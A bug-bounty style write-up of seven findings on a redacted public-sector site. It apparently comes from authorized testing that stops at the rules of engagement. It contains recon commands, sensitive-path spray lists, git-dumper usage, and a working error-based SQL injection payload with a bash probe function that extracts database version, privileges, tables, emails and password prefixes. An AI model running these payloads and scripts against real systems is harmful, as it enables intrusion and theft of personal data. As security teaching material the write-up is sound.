Writeup
From Recon to Database — Seven Bugs on a Gov website
Seven Bugs in One Afternoon — Writeup
This writeup details how I worked a wildcard-scope, ended the afternoon with seven findings — three of them critical. Target names, IPs, usernames, emails and paths are fully redacted; the methodology is universal.
Summary
The target is a public-sector organisation running a mixed estate: a WordPress marketing site, a Laravel KPI dashboard, a legacy PHP “veille” application, a Microsoft stack (Exchange / SharePoint / OWA) on a direct-exposed origin, a cPanel/WHM cluster, and a handful of low-code / SaaS subdomains.
The plan was simple: enumerate the surface, spray “should-never-be-web-reachable” paths, and chase the highest-signal leaks first. By the end of the session I had:
- Critical — public Laravel log with 28 live password-reset tokens + 1 bcrypt hash → chainable account takeover
- Medium — public WordPress
debug.logwith plugin inventory and hosting paths - Critical — public MySQL dump (committed to the repo) with staff/customer tables
- High — exposed
.git/directory leaking an internal GitLab URL and 702-file inventory - Medium — verbose PHP errors leaking DB host, users, paths
- High — Laravel webroot misconfiguration (root cause of #1)
- Critical — unauthenticated error-based SQL injection → full DB read
Key Code Snippets
The vulnerable AJAX handler pattern
Every /ajax_*.php endpoint on the legacy subdomain follows this shape:
<?phpinclude 'assets/inc/securite/conexion.php';
$actualite = addslashes($_GET['actualite']);$etat = addslashes($_GET['etat']);$user = addslashes($_GET['user']);
$q = "SELECT count(*) FROM les_jaime WHERE actualite = $actualite AND etat = $etat AND user = $user";$res = mysqli_query($conn, $q);Three compounding problems:
- No authentication check —
$_GET['user']is trusted as the acting identity. addslashes()is the only sanitisation — it escapes quotes but the column is integer-context, so quotes aren’t needed to inject.display_errors = On— every failed query returns the SQL fragment in the HTTP body.
The error-based SQLi payload
Error-based SELECT leak via extractvalue() — no rows mutated, query fails before any side effect:
1 AND extractvalue(1, concat(0x7e, (SELECT version()), 0x7e))Sent as:
PAY="1 AND extractvalue(1,concat(0x7e,(select version()),0x7e))"ENC=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$PAY")curl -sk "https://[REDACTED]/ajax_nbr_like.php?actualite=1&etat=$ENC&user=1"Server response (verbatim, one line):
Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~[REDACTED-VERSION]~' in /var/www/html/ajax_nbr_like.php:20 … mysqli_query(Object(mysqli), 'SELECT count(*)...')Analysis
1. Recon pipeline
dig [REDACTED] +shortdig NS,MX,TXT [REDACTED] +shortwhois [REDACTED]
subfinder -d [REDACTED] -all -silent -o subfinder.txtcurl -s "https://crt.sh/?q=%25.[REDACTED]&output=json" -o crtsh.jsoncat subfinder.txt crtsh.txt | sort -u > subdomains.txt
httpx -l subdomains.txt -sc -title -td -ip -cname -server -cdn -o httpx.txtcrt.sh is underrated — Certificate Transparency catches subdomains that DNS brute-forcers miss. For this target it uncovered the epm. Laravel dashboard which is the root of Findings 1 and 6.
Prioritisation after httpx:
- Non-CDN origins (direct IPs exposed — bypasses WAF)
- Laravel / WordPress / SharePoint / OWA signatures — rich, known attack surface
- 525 / 502 / 401 responses — often partially-configured services worth a closer look
2. Spray the “should-never-be-web-reachable” list
Before touching any dynamic code I spray a short, known-good list per stack:
LARAVEL=(/.env /storage/logs/laravel.log /.git/config /_ignition/execute-solution /telescope /horizon /composer.json /composer.lock /artisan /package.json /routes/web.php /public/.env)
WORDPRESS=(/wp-json/wp/v2/users /xmlrpc.php /readme.html /wp-content/debug.log /wp-config.php.bak /wp-content/ai1wm-backups/ /wp-content/backup-db/)Hits in this engagement (in seconds):
/storage/logs/laravel.log→ HTTP 200, ~22 MB/wp-content/debug.log→ HTTP 200, ~74 MB/composer.json,/composer.lock,/package.json,/artisan→ HTTP 200/.git/HEAD,/.git/config,/.git/index→ HTTP 200
3. Why a Laravel log is the highest-yield leak on PHP targets
Laravel’s default logger writes stack traces that include the full offending SQL statement and its bindings. Any unhandled QueryException dumps rows like:
SQL: insert into `users` (`name`, `email`, `password`, …)values ([REDACTED-NAME], [REDACTED-EMAIL], $2y$12$[REDACTED-HASH], …)→ bcrypt hashes in cleartext log → offline cracking.
Worse, Laravel logs the output of its built-in password-reset notification under certain mail-driver configurations. In this engagement that produced 28 unique live reset URLs for real staff accounts.
4. Proving takeover without modifying data
A password-reset URL hitting GET /reset-password/<token>?email=<email> renders a form if the token is still valid and an error page if it isn’t. Fetching it is read-only. If the response contains the expected inputs (_token, email, password, password_confirmation) the token is accepted server-side; a POST with a chosen password would succeed.
I stopped at the GET. That is enough for a CVSS-critical bug and respects the ROE clause “don’t modify user data”.
5. .git/ exposure — the gift that keeps giving
curl -sI https://[REDACTED]/.git/HEAD # HTTP 200git-dumper https://[REDACTED]/.git ./dumpOn this target the application’s catch-all route 302-redirected /.git/objects/**, so I couldn’t reconstruct blobs. But the flat files still leaked:
| Path | What it gave me |
|---|---|
/.git/config | Internal GitLab URL — pivot into an internal Git server |
/.git/index | 702 tracked filenames — even without blob reconstruction |
/.git/logs/HEAD | Developer OS user + clone hostname |
/.git/packed-refs | Commit SHA for later paste-site matching |
git ls-files on the recovered index listed a file named like [REDACTED]_db_vXX (1).sql — a full phpMyAdmin dump committed to the repo.
A single URL-encoded GET pulled the entire schema with data. A .sql in the git index is one of the most common and most damaging PHP-project anti-patterns. Always grep the index for \.sql$, \.env$, backup, config.
6. Finding the SQLi
From the 702-file inventory I filtered /ajax_*.php — tiny AJAX handlers tend to have the least defensive code.
Calling each with no parameters returned stack traces:
Warning: Undefined array key "actualite" in /var/www/html/ajax_nbr_like.php on line 9Deprecated: addslashes(): Passing null to parameter #1 ($string) …So each endpoint reads a few $_GET[...] params, passes each through addslashes(), concatenates into SQL, and executes with mysqli_query. addslashes() is a quoting helper, not a sanitiser — known bypasses:
- Integer context — if the SQL has
WHERE id = $x(no quotes), the payload never needs quotes, soaddslashes()does nothing. - Multi-byte charset confusion (
SET NAMES gbk) —%bf%27eats the escape backslash.
Read side vs write side:
ajax_favoris.php,ajax_like.php→INSERT INTO …— exploitable but any payload risks writing a row → ROE violation.ajax_nbr_like.php→SELECT count(*) …— read-only, ideal target.
7. Extraction (chunked, because extractvalue truncates to ~32 chars)
enc() { python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$1"; }probe() { local pay="1 AND extractvalue(1,concat(0x7e,($1),0x7e))" curl -sk "https://[REDACTED]/ajax_nbr_like.php?actualite=1&etat=$(enc "$pay")&user=1" \ | grep -oE "XPATH syntax error: '[^']+'" | head -1}
probe "select version()"probe "select database()"probe "select current_user()"probe "select @@datadir"probe "select @@hostname"probe "select substr(group_concat(privilege_type),1,30) from information_schema.user_privileges"probe "select substr(group_concat(privilege_type),1,30) from information_schema.schema_privileges"probe "select substr(group_concat(table_name),1,30) from information_schema.tables where table_schema=database()"probe "select substr(group_concat(table_name),31,30) from information_schema.tables where table_schema=database()"probe "select count(*) from utilisateur"probe "select email from utilisateur limit 1"probe "select length(password) from utilisateur limit 1"probe "select substr(password,1,4) from utilisateur limit 1"Trick used repeatedly: hex-encode table/column names (0x7574696c69736174657572) to sidestep any quoting.
8. RCE reachability check
information_schema.user_privilegesshowed the DB user has onlyUSAGE— noFILEprivilege → classicSELECT … INTO OUTFILE '/var/www/html/shell.php'is out.@@hostnamewas a short hex ID — the DB is a Docker container, so even a hypothetical RCE inside MySQL would be inside the container, not the host.- CMS plugins on the other subdomain (WordPress
code-snippets, Slider Revolution) have authenticated RCE chains, but that would cross the ROE line. - An Exchange/SharePoint origin IP was leaked by one subdomain’s direct-DNS record, bypassing the CDN — ProxyShell / CVE-2023-29357 territory. Not probed: these exploits are loud and risk tripping EDR / incident response.
Conclusion: SQLi confirmed, full DB read, no direct shell chain on this host. Documented and stopped.
Exploitation and Flag Recovery
The worst-case attack chain (theoretical — not executed)
- Fetch the exposed Laravel log → extract password-reset URLs for staff.
GETa reset URL → confirm the form renders (this step only).POSTa new password → account takeover of a real staff account. (Skipped — ROE.)- If the compromised account is an admin on the Laravel dashboard, pivot to an authenticated file-upload or snippet-eval surface → RCE on the Laravel host.
- In parallel, pull the committed MySQL dump from the legacy subdomain → full customer PII and staff hashes.
- Use leaked DB hostname + username from the verbose errors for credential spraying against direct-exposed MySQL.
- Direct-IP probe the Microsoft stack → if unpatched, unauth SharePoint RCE.
The wet PoC I did run
Unauthenticated error-based SQL injection via a single GET request. Response (one line, redacted):
Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~[REDACTED-VERSION]~' …Data actually extracted (minimum-necessary):
| Target | Value |
|---|---|
version() | [REDACTED-MYSQL-VERSION] |
database() | [REDACTED-SCHEMA] |
current_user() | [REDACTED-DB-USER]@% |
@@hostname | [REDACTED-CONTAINER-ID] (Docker) |
@@datadir | /var/lib/mysql/ |
| Privileges | USAGE only |
| Table count | 21 |
| Sample table list | actualite, alertes, authentification, client, commentaire, demande, favoris, image, les_jaime, personnel, … |
utilisateur row count | 8 |
| Sample email | [REDACTED]@[REDACTED].tld |
| Password length | 32 (→ MD5 hashes) |
| Password prefix | first 4 hex chars only — enough to classify as MD5 without leaking any crackable material |